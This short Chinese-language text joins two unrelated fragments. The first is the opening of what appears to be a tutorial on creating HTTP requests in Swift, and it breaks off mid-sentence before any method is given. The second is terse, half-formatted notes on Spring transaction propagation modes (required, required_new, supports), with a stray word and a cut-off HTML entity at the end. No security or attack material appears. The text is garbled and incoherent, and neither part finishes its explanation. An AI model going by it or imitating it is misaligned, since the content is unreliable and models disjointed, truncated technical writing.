如果你对Objective-C比较了解的话,对于如何创建http请求你一定驾轻就熟了,而新语言Swift与其相比只有语法上的区别。但是,对才接触到这个崭新平台的初学者来说,他们仍然想知道“如何在Swift语言中创建http请求?”。
在这里,我将作出一些建议来回答上述问题。常见的
Spring事务的传播方式
uule
spring事务
传播方式:
新建事务
required
required_new - 挂起当前
非事务方式运行
supports
&nbs